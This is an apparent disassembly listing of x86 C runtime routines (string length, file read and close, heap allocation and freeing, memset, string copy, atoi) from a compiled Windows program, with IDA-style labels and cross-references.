		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0000h


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 2800000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2890000h
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2800000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2890000h
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	near ptr 2890000h
		nop
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2800000h


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
